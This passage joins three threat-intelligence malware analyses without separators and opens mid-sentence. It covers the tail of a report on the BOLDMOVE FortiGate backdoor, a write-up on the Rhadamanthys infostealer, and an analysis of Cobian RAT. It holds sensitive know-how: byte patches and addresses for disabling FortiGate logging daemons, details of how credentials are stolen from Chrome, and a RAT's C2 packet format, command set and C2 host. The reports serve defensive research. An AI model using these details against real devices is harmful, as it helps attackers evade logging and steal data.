connectivity/state. | The Linux iteration of BOLDMOVE leverages several statically compiled libraries to implement its functionality: - An undetermined and likely custom library used for event handling (reminiscent of libevent). It operates in a single-threaded mode, wherein each action is scheduled and executed as an event callback. It may allude to the fact that the developers aimed for supporting the infection of single-core devices, among others. - WolfSSL (also compiled in a single-threaded mode), which facilitates SSL encrypted communication to the C2 server. - Musl libc. Upon failure, the malware reruns itself in a new process. In addition, if the malware is executed with a command line argument, it would not initiate the backdoor logic but rather attempt to execute the provided argument as a new process. Prior to starting the backdoor's logic, the malware calls the signal function in order to ignore the signals SIGCHLD, SIGHUP, SIGPIPE. ### Extended Features The extended version of BOLDMOVE (MD5: 3191cb2e06e9a30792309813793f78b6) contains all the aforementioned functionality but with additional features. The extended version contains Execution Guardrails (T1480) by verifying that it is executing from a specific path. It accomplishes this in the following manner: 1. Retrieving its own path from /proc/self/exe. 2. Obtaining an inode from this resultant path via fstatat. 3. Obtain a secondary inode from the statically defined path /bin/wxd. 4. Comparing these two inode records. The extended version contains a command that can perform Indicator Blocking (T1562.006) by disabling Fortinet daemons miglogd and syslogd. It also contains a command enabling it to patch memory address spaces of the same logging daemons. Due to Mandiant being unable to obtain those executables from Fortinet devices, we are unable to accurately determine the nature of those patches. However, Mandiant assesses it is likely that they are intended to disable a logging capability during the backdoor’s run-time. Each patch data is kept in the following struct: ```c struct st_log_patch_struct { char fortigate_version_name[24]; __int64 target_addr1; __int64 patch_bytes1; __int64 target_addr2; __int64 patch_bytes2; } log_patch_struct; ``` Additionally, the extended version of BOLDMOVE contains a command capable of modifying proprietary Fortinet logs on the system. It checks the following paths: - /tmp/log - /var/log/log - /var/log For filenames matching the format: - elog - offset/elog.ofs - offset/elog.<index>.cidx One of BOLDMOVE’s extended variant commands is capable of decompressing, parsing, and overwriting the undocumented structure pertaining to those proprietary log files allowing the attacker to modify chosen parts of the logs. The extended version contains a Watchdog-like feature that may enable the malware to persist across upgrades. To accomplish this, BOLDMOVE monitors two files via the fstatat function: - /data/lib/libgif.so - /data/lib/libips.so If the size of these files differs, BOLDMOVE performs the following actions: - Creates a backup of the legitimate file /data/lib/libips.so stored at /data/lib/libiptcp.so. - Overwrites the legitimate library /data/lib/libips.so with a trojanized version of it located at /data/lib/libgif.so. Thus, if there were to be a system patch that replaced /data/lib/libips.so and the malware was still executing, it would be able to undo the patch and maintain execution. In addition, the extended version contains a command that allows the attackers to send requests to an internal Fortinet service, possibly to modify device settings or expose internal parts of the associated network to the internet. BOLDMOVE reads the contents of /dev/cmdb/vdom and parses its information to retrieve a numeric value, which may be associated with a virtual domain on the device. Then it creates a connection to “127.0.0.1”, localhost, over an attacker-provided port. This suggests that a server is expected to run on that port locally. The command handler facilitates sending attacker-chosen data over the established connection and sending back any retrieved response back to the C2. **Table 3: Differences between the Windows and Linux variants of BOLDMOVE** | Windows | Linux | |---------|-------| | C and compiled with MinGW | C and compiled with GCC 11.2.1 (GCC: (GNU) 10.2.1 20210227) Compile Time: Unknown | | Compile Time: 2021-08-26 07:13:04 | Compile Time: Unknown | | No | Yes | | curl/6.12.34 | curl/6.12.34 (this is a non-public version of libcurl, last v6 build was 6.5; also, the malware itself does not make actual use of libcurl) | | Private class C IP Address | Globally routable IP Address | | No | Yes | | Uses an event-driven model wherein event callbacks are used instead of threads. This is facilitated by a library like the one leveraged by the Linux variant of BOLDMOVE, however the reason for using it in Windows is unclear. | Musl is compiled statically into the malware’s binary image. Musl has been associated for its lighter utilization of resources in comparison to other libc variants. WolfSSL that is used by the malware for encrypting traffic to the C2 is also designed in part with embedded devices in mind. | | Established connection packets are encrypted with Salsa20: Key: <8_byte_pseudorandom_nonce> || “e8dm_$Gb” | Established sessions are encrypted with AES128: Key: <8_byte_pseudorandom_nonce> || “rg8P@TD(“ IV: <8_byte_pseudorandom_nonce> || “e5sm_$Gb” | | 0.1c#2021-08-26 15:13:01 | Charlotte/c (other campaign names were observed in different samples of the Linux variant) | The survey and commands are functionally equivalent amongst both Linux and Windows. ## Acknowledgment Mandiant would like to acknowledge Fortinet’s assistance in sharing information, coordinating, and analyzing Mandiant’s findings to verify its veracity. ## Appendix A: Patches **Table 4: Patches made in memory addresses of miglogd and syslogd logging daemons on various FortiGate versions** | FortiGate Version | Address 1 | Bytes Written to Address 1 | Address 2 | Bytes Written to Address 2 | |-------------------|-----------|----------------------------|-----------|----------------------------| | FG100F v7.0.5 | 0x1E4BFA8 | E0 03 02 AA 7F 0A 00 B9 | 0x25A6A50 | E0 03 02 AA 1F 00 00 71 | | FG100F v7.0.7 | 0x1E88B68 | E0 03 02 AA 7F 0A 00 B9 | 0x2604C90 | E0 03 02 AA 1F 00 00 71 | | FG101F v6.4.10 | 0x1A5DD80 | E0 03 02 AA 7F 0A 00 B9 | 0x213C154 | E0 03 02 AA 1F 00 00 71 | | FG101F v6.4.8 | 0x1A2FA90 | E0 03 02 AA 7F 0A 00 B9 | 0x20F0C00 | E0 03 02 AA 1F 00 00 71 | | FG200D v6.0.11 | 0x1E4F9CC | 48 89 D0 90 90 83 F8 00 | 0x0EC73DF | 48 89 D0 90 90 49 89 C7 | | FG200E v6.0.12 | 0x1DB524D | 48 89 D0 90 90 83 F8 00 | 0x0F03262 | 48 89 D0 90 90 49 89 C5 | | FG200E v6.4.4 | 0x19409FD | 48 89 D0 90 90 83 F8 00 | 0x1FABDDA | 48 89 D0 90 90 85 C0 7F | | FG200E v7.0.4 | 0x1E65991 | 48 89 D0 90 90 C7 43 08 | 0x25D5F31 | 48 89 D0 90 90 85 C0 7F | | FG200E v7.0.8 | 0x1ECAE81 | 48 89 D0 90 90 C7 43 08 | 0x2665951 | 48 89 D0 90 90 85 C0 7F | | FG200E v7.2.0 | 0x1F3AFD1 | 48 89 D0 90 90 C7 43 08 | 0x26EB5C1 | 48 89 D0 90 90 85 C0 7F | | FG201F v6.4.7 | 0x1AB581D | 48 89 D0 90 90 83 F8 00 | 0x217156A | 48 89 D0 90 90 85 C0 7F | | FG201F v6.4.9 | 0x1ABF90D | 48 89 D0 90 90 83 F8 00 | 0x218388B | 48 89 D0 90 90 85 C0 7F | | FG240D v6.0.12 | 0x1E5558C | 48 89 D0 90 90 83 F8 00 | 0x0EC753F | 48 89 D0 90 90 49 89 C7 | | FG3H0E v6.2.10 | 0x2019ABD | 48 89 D0 90 90 83 F8 00 | 0x1FB826B | 48 89 D0 90 90 85 C0 7F | | FG5H0E v6.0.5 | 0x1CF537D | 48 89 D0 90 90 83 F8 00 | 0x0EBD7B0 | 48 89 D0 90 90 49 89 C5 | | FG6H1E v6.4.8 | 0x1A1E21D | 48 89 D0 90 90 83 F8 00 | 0x20CE65A | 48 89 D0 90 90 85 C0 7F | | FG6H1E v6.4.9 | 0x1A2862D | 48 89 D0 90 90 83 F8 00 | 0x20DF7FB | 48 89 D0 90 90 85 C0 7F | | FG6H1E v7.2.1 | 0x20AFCE1 | 48 89 D0 90 90 C7 43 08 | 0x28BF201 | 48 89 D0 90 90 85 C0 7F | | FG800D v6.2.10 | 0x20E18ED | 48 89 D0 90 90 83 F8 00 | 0x2080AEB | 48 89 D0 90 90 85 C0 7F | | FG800D v6.2.11 | 0x20E1B2D | 48 89 D0 90 90 83 F8 00 | 0x2080D2B | 48 89 D0 90 90 85 C0 0F | | FG800D v7.0.8 | 0x1F61271 | 48 89 D0 90 90 C7 43 08 | 0x272DCF1 | 48 89 D0 90 90 85 C0 7F | | FGT5HD v6.4.10 | 0x1A317CD | 48 89 D0 90 90 83 F8 00 | 0x210250B | 48 89 D0 90 90 85 C0 7F | | FGT60F v6.4.10 | 0x1953248 | E0 03 02 AA 7F 0A 00 B9 | 0x1FFD6A4 | E0 03 02 AA 1F 00 00 71 | | FGT60F v6.4.4 | 0x1904898 | E0 03 02 AA 7F 0A 00 B9 | 0x1F7BF88 | E0 03 02 AA 1F 00 00 71 | | FGT60F v6.4.8 | 0x192D018 | E0 03 02 AA 7F 0A 00 B9 | 0x1FB7450 | E0 03 02 AA 1F 00 00 71 | | FGT60F v6.4.9 | 0x193B0B0 | E0 03 02 AA 7F 0A 00 B9 | 0x1FFC304 | E0 03 02 AA 1F 00 00 71 | | FGT80F v6.4.10 | 0x19F6360 | E0 03 02 AA 7F 0A 00 B9 | 0x20ADA54 | E0 03 02 AA 1F 00 00 71 | | VM64 v6.2.3 | 0x1A64193 | 48 89 D0 90 90 83 F8 00 | 0x0F2F646 | 48 89 D0 90 90 85 C0 48 | ## Appendix B: IOCs **Basic BOLDMOVE** - MD5: 12e28c14bb7f7b9513a02e5857592ad7 - SHA256: 3da407c1a30d810aaff9a04dfc1ef5861062ebdf0e6d0f6823ca682ca08c37da **Extended BOLDMOVE** - MD5: 3191cb2e06e9a30792309813793f78b6 - SHA256: 0184e3d3dd8f4778d192d07e2caf44211141a570d45bb47a87894c68ebebeabb **Windows version of BOLDMOVE** - MD5: 54bbea35b095ddfe9740df97b693627b - SHA256: 61aae0e18c41ec4f610676680d26f6c6e1d4d5aa4e5092e40915fe806b679cd4
# Rhadamanthys: The “Everything Bagel” Infostealer **Key Takeaways** - Rhadamanthys is an advanced infostealer which debuted on the dark web in September of last year to a warm critical reception by cybercriminals. - A maximalist approach to features: functionality is added for its own sake, never mind the effort required or expected payoff. - Campaigns by default target countries indiscriminately, excluding the commonwealth of independent states. This is typical of this kind of malware. - Multiple-stage loader/shellcode execution has been researched in prior publications and has made it difficult to reach a proper interactive disassembly workflow with the actual information-stealing logic. - We provide highlights of the Dark Web ‘buzz’ surrounding this malware. - We share telemetry insights which confirm that by the nature of how the malware is used, large organizations are also being subjected to incidental drive-by attacks that have a theoretical potential to escalate. - We present a method of forensically resolving API calls of homebrew function tables in “orphaned” memory dumps from concluded sandbox runs, using the in-memory addresses alone. - We use this method to convert a memory dump of Rhadamanthys information stealing code into a workable interactive disassembly database with resolved API calls, and showcase the newly available level of analysis by presenting a step-by-step disassembly breakdown of how the malware compiles its own database of stolen Google Chrome information in order to send back to the C2 server. ## Background What causes a man to wake up one day and say, “I’m going to build my own malware and go sell it to cybercriminals on the dark web”? After all, the market is saturated with competitors, and the product is judged on the one sole metric of how many victims it has successfully parted with their funds and personal data. Statistically, during the past 5 years, someone must have created what would have been the great malware strain to stun the entire industry, but the first two criminals to actually try out the thing had a weak spam game, got weak results, and that was that. All this must have been acutely clear to an individual who on September 24, 2022, under the alias “kingcrete2022”, posted the following to the appropriate channels. The author did not rush into this venture. They had already spent half a year lurking in the forum as “kingcrete2022”, and possibly more than that under other aliases. Builds of the malware would later surface that were already polished enough to see the light of day, yet had been compiled a full month before the official launch. It would not be surprising if this person had already spent a long time operating in the cybercrime sphere, even before the debut of the “King Crete” persona. Following this announcement, KingCrete aggressively went to work, determined to prove that his was the superior product. Curious would-be clients who nonchalantly remarked “seems interesting, I will check it out” earned an immediate response and a request to post a review and follow up with comments. A manic stream of version updates checkered the forum thread for the coming months, adding a very long litany of features, sub-features and sub-sub-features, and providing support in both English and Russian. One update reads, “repaired major security vulnerability that the panel session is not affected by password modification”; just “security vulnerability” alone would have technically sufficed, but it doesn’t project the same ruthless self-criticism and drive for excellence. As luck would have it, the first few customers had their campaigns go as planned. “I like this stealer, rep++”, said one. “The stealer rocks, stealer and support is just great”, said the other. Just between these few early adopters, the campaigns they set up racked up thousands of compromised users, hundreds of thousands of compromised passwords and several hundred compromised cryptocurrency wallets. Some prospective customers had trouble getting their operation running, and the author made sure not to leave them behind, posting: “for those who have difficulties in purchasing VPS or servers, we provide turnkey solutions, please contact us if you need”. ## Victimology In theory, the author of Rhadamanthys isn’t concerned with what you do with the ill-gotten data handed to you by the stealer. Commit fraud, sell the data, start a civil war, it’s all the same to him. In practice, the main customers for off-the-shelf malware like this are opportunistic cybercriminals, who aim to infect whomever and whenever (“as long as the target is not located in the commonwealth of independent states”, per the author, who certainly did not invent that practice). Campaign victims are therefore spread all around the world, though some spikes are visible where a campaign particularly enjoyed success, and some operators will put their own twist on where and how they aim the infection (one campaign disseminated samples under the guise of video editing software, such as OBS studio, pushed to the crowd of unsuspecting streamers via Google ads). Common wisdom says people who operate this sort of malware are typically not too concerned with “big game hunting” the way the big ransomware gangs are. To them it’s a numbers game: rake in many victims and monetize them wholesale. Think of your favorite hack of the past decade, and chances are at no point it came to light that actually the initial breach was due to a trigger-happy cybercriminal spamming Emotet maldocs in every direction, who then suddenly realized one of their twenty thousand victims was a lucrative target. Still, these indiscriminate attacks do end up aimed at major organizations, by sheer statistics; via our telemetry we were able to confirm an attempted Rhadamanthys infection of a government agency in Canada, as well as an energy company in India’s infrastructure sector. ## Functionality Overview In the award-winning film *Everything Everywhere All At Once*, antagonist Jobu Tupaki delivers the following monologue: “I got bored one day, and I put everything on a bagel. Everything. All my hopes and dreams, my old report cards, every breed of dog, every last personal ad on craigslist. Sesame Poppy seed. Salt. And it collapsed in on itself. Because, you see, when you really put everything on a bagel, it becomes this. The truth. [..] Nothing matters. Feels nice, doesn’t it? If nothing matters, then all the pain and guilt you feel for making nothing of your life, it goes away. Sucked into a bagel.” Having read that, you now understand Rhadamanthys stealer’s design philosophy. The mind-numbing list of features included in the initial release speaks plenty for itself already, but we would be remiss not to emphasize the inclusion of capabilities for stealing information from KMeleon and Pale Moon web browsers, which each possess a market share imperceptible to the naked eye; or stealing cryptocurrency from the Firefox Auvitas Wallet browser extension, which, as of the writing of these words, has exactly one user. Rhadamanthys’ feature list was not hand-picked to maximize return on developer time investment. It resulted from one simple guiding principle: “Add it in! Add it all in!”. Maybe you are here for the actual list of things that King Crete had put on the bagel. In that pathological case, the list follows below, without bulleted list format so as not to consume too much vertical real estate. Rhadamanthys’ feature list includes stealing the victim’s system information – Computer name, username, ram capacity, CPU cores, screen resolution, timezone, geoip, environment, installed software, screenshots, cookies, history, autofill, saved credit cards, downloads, favorites and extensions; it steals credentials from FTP clients – Cyberduck, FTP Navigator, FTPRush, FlashFXP, Smartftp, TotalCommander, Winscp, Ws_ftp and Coreftp; and from Mail clients CheckMail, Clawsmail, GmailNotifierPro, Mailbird, Outlook, PostboxApp, Thebat!, Thunderbird, TrulyMail, eM and Foxmail; It steals credentials from 2FA applications and password managers RoboForm, RinAuth, Authy and KeePass; VPN services including AzrieVPN, NordVPN, OpenVPN, PrivateVPN_Global_AB, ProtonVPN and WindscribeVPN; Note-taking applications including NoteFly, Notezilla, Simple Stick Notes and Windows Sticky notes; Message history from messenger applications including Psi+, Pidgin, tox, Discord and Telegram; also, it steals victim credentials for Steam, TeamViewer and SecureCRT. The author put a particular emphasis on features related to stealing cryptocurrency; in one version update, which featured 9 new features, 4 of these were enhancements to exfiltrating and cracking cryptocurrency wallets. The list of supported wallets in the initial release is truly unwieldy, and includes Auvitas, BitApp, Crocobit, Exodus, Finnie, GuildWallet, ICONex, Jaxx, Keplr, Liquality, MTV, Metamask, Mobox, Nifty, Oxygen, Phantom, Rabet, Ronin, Slope, Sollet, Starcoin, Swash, Terra, Station, Tron, XinPay, Yoroi, ZilPay, Coin98, Armory, AtomicWallet, Atomicdex, Binance, Bisq, BitcoinCore, BitcoinGold, Bytecoin, coinomi, DashCore, DeFi, Dogecoin, Electron, Electrum, Ethereum, Exodus, Frame, Guarda, Jaxx, LitecoinCore, Monero, MyCrypto, MyMonero, Safepay, Solar, Tokenpocket, WalletWasabi, Zap, Zcash and Zecwallet. All of these stealing actions are performed automatically upon infection. If the attacker decides to get more hands-on with the infected machine, they can push a new configuration to the “file grabbing” module, which will exfiltrate all files matching a windows search query; or, for the true power user, push hand-crafted powershell to be executed on the victim machine. ## Technical Analysis Highlights **Preliminary execution flow** In this detailed and instructive write-up, Eli Salem punches with determination through each of the half-dozen execution stages (droppers, shellcodes, installers, …) that this malware goes through before it gets to the information-stealing functionality. When analyzing Rhadamanthys, we have observed differences between the logic of the analyzed sample and the logic detailed in the above write-up, which testify to the malware’s constant development and flexible build process. Most notable was the behavior of the NSIS loader DLL, which in the execution flow we analyzed, creates a suspended process from C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\AppLaunch.exe then replaces the suspended process’ sections one-by-one with injected malicious code. As described in the above-mentioned write-up, the injected code then proceeds to load several execution stages in sequence, one of which attempts many VM evasions taken from the Al-Khaser project and then unhooks functions in ntdll.dll in an attempt to avoid detection. Finally, it resolves an internally obfuscated C2 address and, from there, downloads the final stage containing the actual information-stealing functionality. **Analyzing an Orphaned Memory Dump** Analyzing the actual stealing logic is not so straightforward. Without access to a live C2 server, at this point an analyst has two options. Either they go chasing a brand new execution chain, doing the hard work debugging all the stages and hoping to catch a live C2 server which won’t filter them out using god knows how many heuristics; or else working with a dump in an unreadable state, obtained from a sandbox run that happened when the C2 was still live. In this particular case the memory dump contains many telling strings that telegraph what the malware does in broad strokes, but there are many obstacles before proper interactive disassembly can take place. The first and most major obstacle is the lack of resolution for API calls. Opening the dump in a disassembler and following the function calls, one very quickly runs across what must be a homebrew import table of dynamically resolved functions. The dump is an artifact of a sandbox run that has long since concluded and these addresses seem to be meaningless now. We were able to resolve nearly every function using a method that will be explained below. First, we know that these addresses, during the sandbox run, pointed to DLLs that were loaded into memory. Second, we know in what environment the execution took place: a tria.ge environment with the code name Win10v2004-20220812-en. We upload our own dummy executable to the sandbox, make sure that we choose the same environment used in the original sandbox run, then look at a DLL of our choice and recover the DLL version. Unfortunately, even if we do have the DLL version, Microsoft is not so generous with offering historical versions of DLLs for download. There are various workarounds for this sort of issue (e.g. you might want to consult winbindex). We opted to use an esoteric feature of tria.ge sandbox: many users had asked for functionality to manually dump files generated during an execution flow. As a workaround, the sandbox introduced a feature allowing users to dump any file they wish, as long as they open windows File Explorer and delete the file there manually. Well, if we try deleting kernel32.dll from its residing place in C:\windows\system32 the OS won’t allow it (and justifiably so), but nothing prevents us from copying the file somewhere else, then deleting the copy. The same DLL loaded into memory during the original sandbox run is now available from the “downloads” section of the analysis report once the analysis is terminated. In this way we download many DLLs that are the “usual suspects” that malware, or any software really, would want to resolve APIs from – such as advapi32.dll, user32.dll, msvcrt.dll, ws2_32.dll and so on. Now we can open each of these in a disassembler, which manually loads the file and assigns virtual addresses to each of the DLL functions. Sadly we are far from done because we still do not know the base address of the DLL when it was loaded originally, or even what particular DLL contains the function that some memory address refers to. Not even knowing which is the relevant DLL can be mitigated to some degree by plain observation – for example, in the below image, the function qword_c5c08 (pointer value 0x7ffbf1bd5f20) is taking a registry key as an argument, and so is highly likely to have come from advapi32.dll. But this won’t work for every DLL – we won’t always be lucky enough to find a function that the malware feeds such an incriminating hardcoded string as a parameter. More crucially, even if we somehow knew the correct DLL for every function address, this still wouldn’t tell us the original address the DLL was loaded at during the original sandbox run, necessary to calculate the rebase delta between the function addresses that were loaded then into memory and the labeled function addresses in the loaded, annotated DLL that we have open in the disassembler. To get past this hurdle we note that the function addresses in the sandbox dump are probably divided into contiguous sequences that were each imported from the same DLL. This means if we take 10 qword pointers from the table and get lucky enough that they were all resolved from the same DLL, then in that DLL when loaded into memory, these 10 functions will exist with the same differences between their addresses. To show the key insight here we will use a toy example: suppose our list of 10 addresses to resolve begins with some address AX then proceeds with AX+0x300, AX+0x500, AX+0x930, and so on six other addresses; suppose further that in one of the loaded and annotated DLLs we find that for some address AY it happens that AY+0x300, AY+0x500, AY+0x930 and so on and so on are all addresses of functions. This is a very lucky coincidence to have happened on its own, and in all probability, the original address AX in the original sandbox run resolved to the function that is in AY in our annotated file. It is possible to further sanity-check the match by looking at the 10 function names that match the addresses on the list and verifying that they seem like a reasonable list to have been required by the software that had been run in the sandbox. The following IDAPython code, when run in a loaded DLL database, will automate the task of finding matches of function address sequences: ```python exports = list(Functions(0x0000000000000000,0xFFFFFFFFFFFFFFFF)) def dll_match(imports): result = [] import_anchor = imports[0] for anchor in exports: if all([anchor+(_import-import_anchor) in exports for _import in imports]): result.append({_import:get_func_name(anchor+(_import-import_anchor)) for _import in imports}) return result ``` For example, the address seen in the above image (the one we suspect to have been resolved from advapi32.dll) appears in the following sequence of 10 addresses: [0x7ffbf1bd5950, 0x7ffbf1bd5f20, 0x7ffbf1bd6a80, 0x7ffbf1bd5f90, 0x7ffbf1bd6830, 0x7ffbf1bee0c0, 0x7ffbf1bee120, 0x7ffbf1bc42d0, 0x7ffbf1bdb970, 0x7ffbf1bd6780, 0x7ffbf1bd6c50, 0x7ffbf1bd69d0, 0x7ffbf1bd6490, 0x7ffbf1bd5f40, 0x7ffbf1bd7580, 0x7ffbf1bd7530, 0x7ffbf1bd6a20]. We open an annotated idb of the advapi32.dll file we dumped from the sandbox, load the above IDA script and run the function dll_match with this list of addresses as input. As output we receive the correct resolution for each of these function addresses. It turns out that the above-mentioned function that had been loaded to the address 0x7ffbf1bd5f20 during the sandbox run is RegQueryValueExW. Using this method, it is easy to go “shopping” and try running the same script against various DLLs to see what matches are obtained, and how feasible they are. While that specific workflow doesn’t scale very well, it’s not too difficult to see how the process can be streamlined, if need be (for instance, by keeping a precomputed database of function address differences of many DLL versions, and making all the difference comparisons against it). **Interactive Disassembly of a Sample Functionality: Stealing Chrome Information** Even with the API calls resolved, the database is still very large and spans over 2500 functions. Many of these are library functions from 3rd party libraries such as sqlite3 and lua_cjson; this introduces a further hassle in that resolving these functions requires us to compile our own annotated version of these libraries and then perform a bindiff (or somesuch) to label the functions used by Rhadamanthys. This is an infamously finicky process, and many of the labels are not of very much use before being verified manually. With all that said, the state of the database is more palatable now and allows us to analyze the execution flow in a way we couldn’t before. As an example we will focus on the malware’s capability of stealing stored login credentials, cookies and so on from Google Chrome, which includes three stages: 1. Searching for the correct directory containing all the data 2. Reading raw data out of files of interest containing cookies, login data, and so on 3. Based on whether the data is in JSON or SQL database format, using 3rd-party library logic to parse the data The malware first performs a recursive search of the victim filesystem for a file named “web data” in order to navigate to %LOCALAPPDATA%\\Google\\Chrome\\User Data\\default, then traverses the tree to look for other artifacts such as “Cookies” or “Login Data” and collects each match into a binary bitfield; if this bitfield is sufficiently nonzero, the malware is then satisfied that it has located the Chrome directory correctly. The malware then accesses files of interest, such as login data. Some of these files are SQL databases, in which case the malware initializes a SQL database from the file contents in-memory, then obtains the desired data by issuing a SELECT statement. In contrast, others are in JSON format, and so the malware instead calls a function to parse the JSON and extract the value associated with a certain key. With the information parsed into plaintext format, it can now be appended to the database of stolen information that is eventually reported back to the attacker, and the stealing functionality for this specific target (Chrome) is concluded. Most of Rhadamanthys’ code base is composed of an entirely too large amount of variations on this same idea, each targeting a different piece of data as laid out in the earlier description of the malware’s feature set. ## Conclusion Rhadamanthys represents a step in the emerging tradition of malware that tries to do as much as possible, and also a demonstration that in the malware business, having a strong brand is everything. Some readers may recall the odd tale of Godzilla loader, which tried to undercut Emotet by retailing for a quarter of the price and boasted a set of features so different from its competitor that a proper comparison between the two was impossible. This was a stark demonstration that cybercriminals don’t make explicit calculations of which feature-sets will net them a higher amount of victims – they rely on a fuzzy feeling of how well they trust the developer, the brand and the sound of the feature list; and, failing that, on trial and error. Any developer can write a piece of malware, and some developers can even write a decent piece of malware with useful features, but it takes a cunning mind in tune with the market to come out swinging like the author of this malware did, shouting “I have all the features, I have the best features” and fostering a successful relationship with a base of early adopters. Should we be worried? It is tempting to quietly classify malware like Rhadamanthys in the “nuisance” drawer. An uninvited credit card charge of $2,000 doesn’t seem like much compared to ransomware and the existential threat it poses to entire organizations. It’s easy to forget the process by which the $2,000 charge happens – the malware doesn’t just steal your credit card details, it steals everything. It is a relief that employees in government agencies and energy companies who get hit with this kind of malware are typically treated the same by attackers as any other victim, but we would do well to remember that this is not a law of nature. We would also do well to dwell on the technical demands such malware poses to us on the defensive side. It used to be a quaint sport to sidestep sandboxes and frustrate analysts who are trying to properly disassemble, debug, analyze the API call log of some malware. For how long can the analysis be delayed? An hour? A day? God forbid, a week? But nowadays, there seems to be a sinister shift where malware authors have gotten more ambitious and are saying, let’s see how close I can get to the whole analysis just not happening. While we are still quite far off from that scary scenario, malicious instruments that inch us closer there are being thought of all the time, and the unexplored and under-explored space of such instruments is well and truly frightening. As an industry, it is paramount that we create new tools and protocols to meet these instruments with equal and opposite force when they arrive.
# Cobian RAT – A Backdoored RAT ## Introduction The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had a lot of similarities to the njRAT/H-Worm family, which we analyzed in this report. As shown in the control panel, the Cobian RAT features are similar to that of njRAT and H-Worm. It is noteworthy that the author identified njRAT as the “theme.” ## Crowdsourcing Botnet Model As we analyzed the builder, we noticed a particularly interesting function: the builder kit is injected with a backdoor module which retrieves C&C information from a predetermined URL (pastebin) that is controlled by the original author. This allows the original author to control the systems infected by the malware payloads that were generated using this backdoored builder kit. The original author of the RAT builder kit is relying on second-level operators to build the RAT payload and spread infections. Thanks to the backdoor module, the original author can take full control of infected systems across all the Cobian RAT botnets in which the operators used the backdoored builder kit. The original author can also change the C&C server information configured by the second-level operators. ## Evading Detection by Malware Operator During our analysis, we observed that when the machine name and username of the systems running the Cobian RAT payload (bot client) and the control server (bot C&C server) are the same, the backdoor module will not be activated and no communication will be sent to the backdoor C&C server. The original author of the RAT builder assumes that there will be some testing performed by the second-level operators and that they will most likely use the same system for both bot client and server applications (C&C server of 127.0.0.1). To hide the presence of the backdoor module, there will be no traffic generated from the bot client to the backdoor C&C server in this case. ## Recent In-the-Wild Cobian RAT Payload Analysis We saw a unique Cobian RAT payload hit our Cloud Sandbox from a Pakistan-based defense and telecommunication solution website (potentially compromised). The executable payload was served inside a ZIP archive and was masquerading as a Microsoft Excel spreadsheet using an embedded icon. The executable payload is signed with an invalid digital certificate pretending to be from VideoLAN, creator of the well-known VLC media player. The executable file is packed using a .NET packer with the encrypted Cobian RAT payload embedded in the resource section. There is a series of anti-debugging checks performed by this dropper payload before decrypting the RAT and installing it on the victim’s system. The bot’s configuration details are present in Class B’s constructor. The bot attempts to create a MUTEX using the value of variable “VL” to ensure that only one instance of the bot is running. The bot will proceed to create a copy of itself as %TEMP%/svchost.exe, execute that file, and terminate itself. The newly executed copy will create an autostart registry key to ensure persistence upon system reboot. The bot contains many features that are also present in the njRAT, such as: - Keylogger - Screen capture - Webcam - Voice recorder - File browser - Remote command shell - Dynamic plugins - Install/Uninstall ## Network C&C Activity The bot will spawn two threads in the background, one of which will be responsible for ensuring persistence and taking screenshots. The second thread will perform a regular check-in with the remote C&C server. The function “Data” is responsible for parsing the C&C server’s response and executing bot commands on the infected system. The C&C server address is stored in the configuration function as a base64 encoded string. The C&C server for the payload that we analyzed pointed to a dynamic DNS domain, swez111.ddns[.]net:20000. Upon successful connection, the bot sends the following request to the C&C server to register the infected system and get further instructions. ### Encrypted Data Sent ``` LOGIN|-|SGFja184MDUwMTY=|-|ODc4NDEyQHVzZXI=|-|TWljcm9zb2Z0IFdpbmRvd3MgWFAgUHJvZmVzc2lvbmFs|-|No|-|1.0.40.7|-|Tm90ZXBhZA==|-|U0dGamExODRNRFV3TVRZPSxzd2V6MTExLmRkbnMubmV0LDIwMDAwLHN2Y2hvc3QuZXhlLHtKRjJOTVJBTC00NjcxMzgtUU0yVVRZLVFN|2017-07-13 ``` ### Decrypted Data ``` LOGIN|-|Hack_805016|-|[email protected]|-|Microsoft Windows XP Professional|-|No|-|1.0.40.7|-|Notepad|-|SGFja184MDUwMTY=,swez111.ddns.net,20000,svchost.exe,{JF2NMRAL-467138-QM2UTY-QM2UTYHS87},TEMP,True,True,|-|2017-07-13 ``` ### Packet Format ``` LOGIN|-|BotID|-|[email protected]|-|OS|-|CAM|-|RAT Version|-|Installation Data|-|Infection Date ``` The check-in packet includes information about the infected system such as machine name, username, operating system, BotID, and configuration data of the payload installed, and the infection date. Below is a complete list of commands that the Cobian RAT supported in the payload we analyzed. | Command | Purpose | |---------|---------| | Lg | Keylogger | | Svr|-|@ | Rename Bot/Campaign ID | | Svr|-|! | Terminate bot process | | Svr|-|# | Uninstall Bot | | Svr|-|~ | Restart Bot | | Svr|-|$ | Update C&C list | | FLD | Stress Tester (Flood using UDP or TCP Traffic) | | Execute | Used to run executable or script from local disk or remote URL | | Ac | Send Active Window Title | | Sc | Send Screen shot | | more|-|FM | File Manager | | more|-|SM | System Manager | | more|-|CP | Remote Desktop | | more|-|CM | Remote Webcam | | more|-|MC | Microphone | | more|-|NF | Information | | more|-|CH | Chat | | more|-|PS | Password Stealer | | more|-|PT | PassTime (Send message box to infected machine) | ### C&C’s Packet Format ``` Command|-|subcommand|-|subcommand arguments (optional based on command)|-|command data ``` ## Conclusion Cobian RAT appears to be yet another RAT that is spawned from the leaked njRAT code. It is ironic to see that the second-level operators, who are using this kit to spread malware and steal from the end user, are getting duped themselves by the original author. The original author is essentially using a crowdsourced model for building a mega Botnet that leverages the second-level operators' Botnet. Zscaler ThreatLabZ is actively monitoring this threat and will continue to ensure coverage for Zscaler customers. ## Indicators of Compromise - MD5: 94911666a61beb59d2988c4fc7003e5a - Zip File MD5: 7eede7047d3d785db248df0870783637 - C&C: swez111.ddns[.]net:20000 (173.254.223.81) - FileName: GUANGZHOU SONICSTAR ELECTRONICS CO. LTD.exe - Compilation timestamp: 2017-07-11 03:53:14 - Digitally Signed: Vendor /C=FR/L=Paris/O=VideoLAN/CN=VideoLAN - Signing Date: 11:24 AM 7/14/2017
